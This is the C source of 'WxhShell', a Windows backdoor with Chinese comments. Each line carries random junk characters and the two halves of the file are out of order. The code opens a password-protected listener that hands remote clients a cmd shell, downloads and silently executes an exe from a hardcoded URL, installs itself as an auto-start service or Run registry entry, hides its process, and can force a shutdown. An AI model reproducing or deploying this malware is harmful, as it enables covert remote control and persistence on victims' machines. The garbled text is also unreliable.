    closesocket(wsh); 5HV+7zU5  
    ExitThread(0); ,_RNZ sa;&  
    } %csrNf  
    break; diY7<u#  
    } R8Vf6]s_  
  // 关机 Q'jw=w!|g  
  case 'd': { ikV;]ox  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mL48L57Z  
    if(Boot(SHUTDOWN))  Q}L?o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yW= +6@A4  
    else { "O4A&PJD  
    closesocket(wsh); SI+Uq(k  
    ExitThread(0); znwKwc8,  
    } X&?s:A  
    break; n%7?G=_kj  
    } <4q H0<  
  // 获取shell V9BW@G@9  
  case 's': { z m$Sw0#(  
    CmdShell(wsh); Wq1 jTIQ  
    closesocket(wsh); R/ZScOW[  
    ExitThread(0); " L`)^  
    break; &b tI#  
  } "U-jZ5o"  
  // 退出 5z!$=SFz  
  case 'x': { XH$r(@Z\7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); YiDOV)  
    CloseIt(wsh); '6 F-%  
    break; 96(Mu% l  
    } 6^ [ 4.D  
  // 离开 |2u=3#Jp  
  case 'q': { ?!U[~Gq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @I`^\oJ  
    closesocket(wsh); hDW!pnj1  
    WSACleanup(); |j`73@6   
    exit(1); c Rq2 re  
    break; VIP7j(#t_g  
        } =\WF +r]V  
  }  Qw}1q!89  
  } TB! I  
-$Hu $Y}>  
  // 提示信息 wgS,U }/i  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F#sm^%_2  
} dWvVK("Wj  
  } '|zrzU=  
5FoZ$I  
  return; hu.o$sV3;  
} :lcq3iFn  
^!&6 =rb  
// shell模块句柄 eMJ>gXA]  
int CmdShell(SOCKET sock) Zp9. ~&4o-  
{ EJ9hgE  
STARTUPINFO si; sI!H=bp-8  
ZeroMemory(&si,sizeof(si)); &xQM!f  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3 c=kYcj  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 00QJ596  
PROCESS_INFORMATION ProcessInfo; KkA)p/  
char cmdline[]="cmd"; t~->&Ja   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); LKu\Mh|  
  return 0; S%i^`_=Q  
} ZNX38<3h  
l4oyF|oJTH  
// 自身启动模式 Icnhet4  
int StartFromService(void) l}))vf=i  
{ ,RV qYh(-|  
typedef struct _{Kmj,q  
{ Cku"vVw,  
  DWORD ExitStatus; bP&QFc  
  DWORD PebBaseAddress; ixd sz\<  
  DWORD AffinityMask; Q!e560@  
  DWORD BasePriority; 20;9XJmjl  
  ULONG UniqueProcessId; `r`8N6NQ&]  
  ULONG InheritedFromUniqueProcessId; :}lqu24K  
}   PROCESS_BASIC_INFORMATION; D0r viO  
147QB+cE  
PROCNTQSIP NtQueryInformationProcess; R-13DVK  
f<Hi=Qpm  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; li r=0oq<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; T }}2J/sj  
mH'~pR>t  
  HANDLE             hProcess;  8b2 =n  
  PROCESS_BASIC_INFORMATION pbi; }X&rJV  
<-umeY"n>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Wh)D_  
  if(NULL == hInst ) return 0; d#g))f;  
w7V\_^&Id  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7Q}pKq]P  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M3pE$KT0x  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u5(8k_7  
<xOX+D  
  if (!NtQueryInformationProcess) return 0; -zR<m  
ysW})#7X  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >NRppPqL  
  if(!hProcess) return 0; NBYJ'nA%;f  
  Q.g/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =*2,^j  
P0m3IH)  
  CloseHandle(hProcess); xh;V4zK@`  
e5|lz.o;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #).$o~1ht!  
if(hProcess==NULL) return 0; 1@F-t94I  
H3A$YkK [  
HMODULE hMod; +1ICX  
char procName[255]; <+roY"  
unsigned long cbNeeded; g4IF~\QRVi  
lB,1dw2(T  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w&p+mJL.  
;w7mr1  
  CloseHandle(hProcess); k?+ 7%A]  
l|P"^;*zq  
if(strstr(procName,"services")) return 1; // 以服务启动 q&3 ;e4  
qO#3{kW  
  return 0; // 注册表启动 B>,e HXW  
} EuK}L[Kl  
b3ohTmy4(  
// 主模块 YV O$`W^N  
int StartWxhshell(LPSTR lpCmdLine) mptFd  
{ /Z:j:l  
  SOCKET wsl; No^gKh24  
BOOL val=TRUE; `2mddx8  
  int port=0; Joow{75K  
  struct sockaddr_in door; 2Y vr|] \8  
ge~@}&#iO@  
  if(wscfg.ws_autoins) Install(); *]$B 9zVs!  
ig,.>'+l  
port=atoi(lpCmdLine); o*cu-j3  
d*@T30  
if(port<=0) port=wscfg.ws_port; qX\*l m/l  
<xI<^r'C9e  
  WSADATA data; U"PcNQy  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (2g a: }K  
;8sL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   f9.?+.^_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hyI7X7Hy  
  door.sin_family = AF_INET; (8d uV  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <J/ =$u/  
  door.sin_port = htons(port); ma.84~m  
i?x gV_q;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mMAN* }`O  
closesocket(wsl); ?Nos;_/  
return 1; 8Zr;n`~  
} ul~ux$a  
&N~Eu-@b  
  if(listen(wsl,2) == INVALID_SOCKET) { Q_5 l.M/9]  
closesocket(wsl); Qs6<(zaqkt  
return 1; ,2@o`R.27  
}  :Sq] |)  
  Wxhshell(wsl); )GD7 rsC`<  
  WSACleanup(); &d_^k.%y  
 WR;1  
return 0; HK;NR.D  
K"#$",}=  
} (Ou%0 KW  
GAz -yCJp  
// 以NT服务方式启动 kpm;ohd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Br1R++]  
{ LgqQr6y"  
DWORD   status = 0; ]3KeAJ  
  DWORD   specificError = 0xfffffff; spEdq}  
>B BV/C'9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {v ?Q9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; slQn  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; SE'Im  
  serviceStatus.dwWin32ExitCode     = 0; d:=' Xs  
  serviceStatus.dwServiceSpecificExitCode = 0; g'"~'  
  serviceStatus.dwCheckPoint       = 0; #}`sfaT  
  serviceStatus.dwWaitHint       = 0; ~6G `k^!  
&7L7|{18  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @X==[gQ  
  if (hServiceStatusHandle==0) return; q+ax]=w  
:U6` n  
status = GetLastError(); e4z`:%vy  
  if (status!=NO_ERROR) Q6h+.  
{ $y(;"hy  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Obs#2>h  
    serviceStatus.dwCheckPoint       = 0; wlS/(:02  
    serviceStatus.dwWaitHint       = 0; k<gH*=uXY'  
    serviceStatus.dwWin32ExitCode     = status; J'44j;5&  
    serviceStatus.dwServiceSpecificExitCode = specificError; 56v G R(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); OVg&?fiP  
    return; -f+#j=FX  
  } JcAsrtrG]  
ohx[_}xN  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _$~>O7  
  serviceStatus.dwCheckPoint       = 0; 7J'%;sH  
  serviceStatus.dwWaitHint       = 0; zl0{lV  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ak'=l;  
} _imuyt".+  
{ bj!]j  
// 处理NT服务事件,比如:启动、停止 #<{v~sVp&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) MIMC(<   
{ X/5m}-6d]  
switch(fdwControl) `#""JTA"  
{ i]8O?Ab>?  
case SERVICE_CONTROL_STOP: %OQdUH4x  
  serviceStatus.dwWin32ExitCode = 0; X9x`i  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; W06aj ~7Z  
  serviceStatus.dwCheckPoint   = 0; ?cU,%<r  
  serviceStatus.dwWaitHint     = 0; |]\zlH"w  
  { fY<#KM6X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AwM`[`ReE  
  } `7 "="T~ *  
  return; 5pQpzn =  
case SERVICE_CONTROL_PAUSE: `fv5U%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; fzsy<Vl",  
  break; 9"~ FKMN  
case SERVICE_CONTROL_CONTINUE: Z #[?~P  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; a6{Zp{"Y  
  break; J8ni}\f  
case SERVICE_CONTROL_INTERROGATE: 'I[?R&j$G  
  break; fz'qB-F Y  
}; vDjH $ U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2 bc&sU)X  
} hU?DLl:bXF  
MAh1tYs4D  
// 标准应用程序主函数 I)rnF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) qng ~,m  
{ y`I>|5[ `  
+%dXB&9x|Z  
// 获取操作系统版本 >0^<<=m  
OsIsNt=GetOsVer(); EX,>V,.UV  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <jh4P!\&j  
MN?aPpr>  
  // 从命令行安装 uwwR$ (\7  
  if(strpbrk(lpCmdLine,"iI")) Install(); [F-R*}&x  
xyL"U*  
  // 下载执行文件 Z.VKG1e}  
if(wscfg.ws_downexe) { tv#oEM9esl  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) kK &w5'  
  WinExec(wscfg.ws_filenam,SW_HIDE); WzIUHNn'I  
} IJ^~,+  
'a#lBzu\b  
if(!OsIsNt) { 5`h$^l/  
// 如果时win9x,隐藏进程并且设置为注册表启动 lM-9J?j  
HideProc(); $n<a`PdH  
StartWxhshell(lpCmdLine); h"FI]jK|}  
} $1f2'_`8~  
else BgQEd@cN  
  if(StartFromService()) k:0j;\Sx  
  // 以服务方式启动 zWY988fX0  
  StartServiceCtrlDispatcher(DispatchTable); 0Lo8pe`DH  
else  .NOAp  
  // 普通方式启动 HTQZIm  
  StartWxhshell(lpCmdLine);  -WC0W  
j|!,^._i  
return 0; 4BCPh:  
} aOD h5  
pz%s_g'  
Af3|l  
3$?6rMl@y  
=========================================== #U:|- a.>  
!M^O\C)  
Tmzbh 9  
IuwE&#  
!"^Zr]Qt+\  
vJWBr:`L  
" JR!-1tnc  
jTa\I&s,A  
#include <stdio.h> 4H{t6t@-:  
#include <string.h> 7^dr[.Q[*  
#include <windows.h> tZ_'>7)  
#include <winsock2.h> ale'-V)5  
#include <winsvc.h> Fp\;j\pfw  
#include <urlmon.h> )qy?x7   
bP18w0>,  
#pragma comment (lib, "Ws2_32.lib") ,`geOJn'  
#pragma comment (lib, "urlmon.lib") s%)f<3=a  
;Y7' U rn  
#define MAX_USER   100 // 最大客户端连接数 #Y7jNrxE  
#define BUF_SOCK   200 // sock buffer '1mk;%  
#define KEY_BUFF   255 // 输入 buffer O= S[ n  
o[Ffa# sE  
#define REBOOT     0   // 重启 J[ZHAnmPH  
#define SHUTDOWN   1   // 关机 P$E iD+5#z  
jVff@)_S  
#define DEF_PORT   5000 // 监听端口 Kg%9&l  
P:{Aq n~zR  
#define REG_LEN     16   // 注册表键长度 WvfP9(-  
#define SVC_LEN     80   // NT服务名长度 (*S<2HN5  
Am, {Fj  
// 从dll定义API +?J  N_aR  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )Zq'r L<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); JL M Xkcc  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =gVMt  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jQ{ @ol}n  
BUXE s0]Lv  
// wxhshell配置信息 q T6y&  
struct WSCFG { "OLg2O^  
  int ws_port;         // 监听端口 ?+zFa2J  
  char ws_passstr[REG_LEN]; // 口令 ajSB3}PN  
  int ws_autoins;       // 安装标记, 1=yes 0=no M@[W"f Wq  
  char ws_regname[REG_LEN]; // 注册表键名 6KddHyFz  
  char ws_svcname[REG_LEN]; // 服务名 Ci`o;KVj  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 DNGyEC  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 O#)1 zD}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 AjK5x@\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ohm{m^VD"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" | 6{JINW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {H)7K.hQN  
>7W)iwF  
}; +>PsQ^^x  
$hm[x$$  
// default Wxhshell configuration QuR} 6C  
struct WSCFG wscfg={DEF_PORT, '{ <RX  
    "xuhuanlingzhe", x?S86,RW  
    1, FX!KX/OE)  
    "Wxhshell", ~.T|n =  
    "Wxhshell", w)7y{ya$  
            "WxhShell Service", ;W- A2g  
    "Wrsky Windows CmdShell Service", 2 7)If E  
    "Please Input Your Password: ", 505c(+  
  1, mG~k f]Y  
  "http://www.wrsky.com/wxhshell.exe", "rB B&l  
  "Wxhshell.exe" T AG@Ab  
    }; wV )\M]@  
Ph^1Ko" 2  
// 消息定义模块 u+8"W[ZULq  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $gr>Y2i  
char *msg_ws_prompt="\n\r? for help\n\r#>"; i^DMnvV.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [FBS|v#T  
char *msg_ws_ext="\n\rExit."; k[f2`o=  
char *msg_ws_end="\n\rQuit."; f&<+45JI  
char *msg_ws_boot="\n\rReboot..."; R+HX'W  
char *msg_ws_poff="\n\rShutdown..."; #B\s'j[A"  
char *msg_ws_down="\n\rSave to "; j|KDgI<0  
oJA_" xp  
char *msg_ws_err="\n\rErr!"; d*8*9CpO:  
char *msg_ws_ok="\n\rOK!"; iq' PeVo  
k]p|kutQCy  
char ExeFile[MAX_PATH]; jSjC43lh  
int nUser = 0; 0/v]YK.  
HANDLE handles[MAX_USER]; g+B7~Z5,  
int OsIsNt; ]N 9N][n  
[H*JFKpx  
SERVICE_STATUS       serviceStatus; &g;!n&d zP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .jJD$FC  
.57p4{  
// 函数声明 UF-&L:s[  
int Install(void); v~ SM"ky#  
int Uninstall(void); s4fO4.bnm  
int DownloadFile(char *sURL, SOCKET wsh); RJD{l+  
int Boot(int flag); nP%U<$,+  
void HideProc(void); S%- kN;  
int GetOsVer(void); ps'_Y<@  
int Wxhshell(SOCKET wsl); V 1'otQH2l  
void TalkWithClient(void *cs); N**)8(  
int CmdShell(SOCKET sock); `df!-\#  
int StartFromService(void); 3CD#OCz7&  
int StartWxhshell(LPSTR lpCmdLine); yeiIP  
Erw1y,mF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &dtst??  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )#i@DHt=  
>ZJ]yhbhK  
// 数据结构和表定义 T +vo)9w  
SERVICE_TABLE_ENTRY DispatchTable[] = x'g4DYl  
{ -J3~j kf  
{wscfg.ws_svcname, NTServiceMain}, *H!BThft4  
{NULL, NULL} 'LMj.#A<g  
}; rfk{$g  
Q yw@ r  
// 自我安装 Y#}qXXZ>]  
int Install(void) Y\9}LgIvr  
{ V8/4:Va7 s  
  char svExeFile[MAX_PATH]; SMrfEmdH+  
  HKEY key; R=~%kt_n  
  strcpy(svExeFile,ExeFile); y"yo\IDW  
1)k+v17]f5  
// 如果是win9x系统,修改注册表设为自启动 m[eqTh4*  
if(!OsIsNt) { -6+7&.A+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x`g,>>&C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $z[S0Cm  
  RegCloseKey(key); +(2$YJ35  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'i%r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OjhX:{"59  
  RegCloseKey(key); t+a.,$U  
  return 0; ^i|R6oO_5  
    }  %W~w\mT  
  } SV o?o|<  
} x/?ET1iGt  
else { 36Lkcda[  
1(@$bsgu2  
// 如果是NT以上系统,安装为系统服务 c:m=9>3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); f- (i%  
if (schSCManager!=0) %rrA]\C'  
{ HF0G=U}i  
  SC_HANDLE schService = CreateService JaUzu3*=  
  ( '^TeV=  
  schSCManager, :EOai%i  
  wscfg.ws_svcname, Jw _>I  
  wscfg.ws_svcdisp, 'Ou C[$Z  
  SERVICE_ALL_ACCESS, .=;IdLO,Bf  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %>$<s<y  
  SERVICE_AUTO_START, ?JZ$M  
  SERVICE_ERROR_NORMAL, >eA@s}_8  
  svExeFile, Wh i#Ii~  
  NULL, %[|^7  
  NULL, 42]7N3:'  
  NULL, #_.J kY  
  NULL, |'z8>1  
  NULL E[t0b5h  
  ); s $Vv  
  if (schService!=0) by<@\n2B:U  
  { ir<e^a  
  CloseServiceHandle(schService); "`ftcJUd  
  CloseServiceHandle(schSCManager); lQ?jdi  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Wu 0:X*>}p  
  strcat(svExeFile,wscfg.ws_svcname); _Gq6xv\b1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { d#E&,^@M  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }gQ2\6o2g  
  RegCloseKey(key); Rq}lW.<r  
  return 0; {3x>kRaKci  
    } l L;5*@  
  } Nbr$G=U  
  CloseServiceHandle(schSCManager); 4fs d5#  
} 'yPKQ/y$x  
} l(NQk> w  
XSC=qg$  
return 1; Z$/76  
} 'TS_Am?o  
iv>MIdIm  
// 自我卸载 _;03R{e*  
int Uninstall(void) ZxNTuGOB:  
{ ^m%#1Zd  
  HKEY key; Uuy$F  
0S4BV%7F  
if(!OsIsNt) { R1H^CJ=v0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *#YZm>h   
  RegDeleteValue(key,wscfg.ws_regname); U1r]e%df)  
  RegCloseKey(key); I Id4w~|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FL{?W(M  
  RegDeleteValue(key,wscfg.ws_regname); 5Rl\& G\  
  RegCloseKey(key); uj6'T Sl  
  return 0; aB6xRn9  
  } Y]SF0:v!n  
} o*H U^  
} >>J3"XHX  
else { 5(H%Ia  
upuN$4m&{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); zzZ EX  
if (schSCManager!=0) C=+9XfP0  
{ ]zlA<w8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M?lh1Yu"  
  if (schService!=0) }R}+8  
  { U=bx30brh%  
  if(DeleteService(schService)!=0) { >S I'Q7k  
  CloseServiceHandle(schService); 0:v !'  
  CloseServiceHandle(schSCManager); -qj[ck(y  
  return 0; rk8pL[|  
  } N; }$!sNIm  
  CloseServiceHandle(schService); ZwDL  
  } elR'e6Q  
  CloseServiceHandle(schSCManager); JjS+'A$A5  
} I uxf`sd  
} CI{2(.n4  
S-Y{Vi"2  
return 1; P{9:XSa%  
} V#oz~GMB  
5 e+j51  
// 从指定url下载文件 |H t5a.  
int DownloadFile(char *sURL, SOCKET wsh) z&gma Ywq  
{ (S!UnBb&  
  HRESULT hr; `2 <:$]  
char seps[]= "/"; itzUq,T  
char *token; zhw*Bed<  
char *file; B!/kC)bF:  
char myURL[MAX_PATH]; =R=V  
char myFILE[MAX_PATH];  _BP%@o  
^f,4=-  
strcpy(myURL,sURL); 2?~nA2+vm  
  token=strtok(myURL,seps); $YX{gk>  
  while(token!=NULL) 6X@z(EEL  
  { 'u<e<hU  
    file=token; G^Gs/- f  
  token=strtok(NULL,seps); U"7o;q  
  } {c*$i^T  
@l CG)Ix<  
GetCurrentDirectory(MAX_PATH,myFILE); 2uEI@B  
strcat(myFILE, "\\"); T!H(Y4A  
strcat(myFILE, file); } [#8>T  
  send(wsh,myFILE,strlen(myFILE),0); NIQ}A-b  
send(wsh,"...",3,0); XKTDBaON  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {}$rN@OM$  
  if(hr==S_OK) "\@J0 |ppb  
return 0; Ve(<s  
else  zjUQ]  
return 1; Gt&yz"?D  
%"f85VfZ  
} 4<($ZN8  
9&* 7+!  
// 系统电源模块 L"'=[O~  
int Boot(int flag) -4x! #|]  
{  [^ }$u[  
  HANDLE hToken; ?r !kKMZ  
  TOKEN_PRIVILEGES tkp; sa+ JN^[X  
h-PJC/>  
  if(OsIsNt) { MUl`0H"tR  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); B[ZQn]y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &^$@LH3  
    tkp.PrivilegeCount = 1; )(]rUJ~+~A  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <Z-Pc?F&(k  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \) dp  
if(flag==REBOOT) { oSrA4g  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'b.jKkW7  
  return 0; ]ePg6  
} wK2$hsque  
else { QT+kCN  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) US)i"l7:H*  
  return 0; us.[wp'Sh  
} C[,h!  
  } @S3L%lOH  
  else { ) ' xyK  
if(flag==REBOOT) { *R+M#l9D`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (LK@w9)i;  
  return 0; !U?C _  
} Y)k"KRW+  
else { Ze%S<xT!O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) K ar!  
  return 0; p1'q{E+o*  
} vT#R>0@mi  
} q%G[tXw  
B5 /8LEWw  
return 1; "1gIR^S%9  
} s#5#WNzP  
1?QVt fwY  
// win9x进程隐藏模块 |WaWmp(pQ  
void HideProc(void) <*J"6x  
{ @rT$}O1?`  
F2zo !a8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); oqvu8"  
  if ( hKernel != NULL ) 93n%:?l"<W  
  { _i ztQ78  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); QyA^9@iVs  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); eM!Oc$C8[  
    FreeLibrary(hKernel); Ly(iq  
  } (^~a1@f,J  
K_+M?ap_  
return; =EVB?k ,  
} OF*E1B M  
jkl dr@t  
// 获取操作系统版本 _8$xsj4_  
int GetOsVer(void) A@~9r9Uf  
{ Lf9s'o}.R  
  OSVERSIONINFO winfo; z2V ->UK)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^N7cXK*  
  GetVersionEx(&winfo); Srw`vql{(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "d-vs t5  
  return 1; 5dv|NLl  
  else @wD#+Oz  
  return 0; O)^F z:  
} kR1 12J9P  
]foS.D,  
// 客户端句柄模块 ,sj(g/hg  
int Wxhshell(SOCKET wsl) c k[uvH   
{ )P R`irw  
  SOCKET wsh; <,O| fY%  
  struct sockaddr_in client; yUcU-pQ  
  DWORD myID; j(I(0Yyh  
%J6>Vc!ix=  
  while(nUser<MAX_USER) EiD41N  
{ 0<uL0FOT  
  int nSize=sizeof(client); KYkS ^v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rk %pA-P2  
  if(wsh==INVALID_SOCKET) return 1; Gmu[UI}w8  
,^CG\);  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?ZTA3mV?+  
if(handles[nUser]==0) i= ^6nwD&  
  closesocket(wsh); _ l)3pm6  
else wy|b Hkr_  
  nUser++; i*l =xW;bM  
  } xX%{i0E  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I RLAsb3  
"$5cKbJ  
  return 0; QX?moW6UW  
} r+Sv(KS4i^  
X r o5~G  
// 关闭 socket D|Tz{DRG  
void CloseIt(SOCKET wsh) Bs3&y Eq(  
{ on hLhrZ  
closesocket(wsh); mb_6f:Qh3  
nUser--; DIYR8l}x  
ExitThread(0); "&qAV'U  
} w[vccARQ  
k0FAI0~(  
// 客户端请求句柄 E}zGY2Xx  
void TalkWithClient(void *cs) I7h v'3u  
{ pQZ`dS\  
!`H!!Kg0L  
  SOCKET wsh=(SOCKET)cs; c;KMox/  
  char pwd[SVC_LEN]; BQ,749^S  
  char cmd[KEY_BUFF];  f^}n#  
char chr[1]; 4<<eqxI$|  
int i,j; Wf?[GO  
?W dY{;&  
  while (nUser < MAX_USER) { J10/pS  
C5KUIOg  
if(wscfg.ws_passstr) { kg(}%Ih  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); asQ^33g z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); modem6#x'  
  //ZeroMemory(pwd,KEY_BUFF); ',Z]w;D!G  
      i=0; Z @DDuVr  
  while(i<SVC_LEN) { e~he#o[%a  
>C{8}Lg-.  
  // 设置超时 6*1f -IbV  
  fd_set FdRead; $? Z}hU  
  struct timeval TimeOut; .LM|@OeaD!  
  FD_ZERO(&FdRead); _`*G71PS  
  FD_SET(wsh,&FdRead); //3fgoly  
  TimeOut.tv_sec=8; `"V}Wq ?I  
  TimeOut.tv_usec=0; -jNnx*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); TrgKl2xfx  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); m1K4_a)^[  
Z6So5r%wZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E>|fbaN-%  
  pwd=chr[0]; giIPK&  
  if(chr[0]==0xd || chr[0]==0xa) { wKpD++k  
  pwd=0; mq}uq9<  
  break; o=zl{tZV  
  } r_8;aPL  
  i++; FBrh!vQ<  
    } 3k8nWT:wT  
< h|&7  
  // 如果是非法用户,关闭 socket %"#ydOy  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {a2Gb  
} 3*?W2;Zw$  
~USyN'5lU7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Rw63{b/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }YiFiGf,  
%<|<%~l&  
while(1) { n%}#e!  
{QN 5QGvK  
  ZeroMemory(cmd,KEY_BUFF); H:Q4!<  
'aeuL1mz  
      // 自动支持客户端 telnet标准   P~&J@8)c  
  j=0; Aj/EaIq  
  while(j<KEY_BUFF) { ;B }4pv}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lN"@5(5%  
  cmd[j]=chr[0]; -`X`Ff  
  if(chr[0]==0xa || chr[0]==0xd) { V<}chLd,  
  cmd[j]=0; I !lR 7%  
  break; M`9|8f,!a  
  } |<8Fa%!HHc  
  j++; VV[Fb9W ;  
    } _K!)0p  
1'\s7P  
  // 下载文件 -) +B!"1  
  if(strstr(cmd,"http://")) { }t|i1{%_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); BNO+-ob-  
  if(DownloadFile(cmd,wsh)) X-CoC   
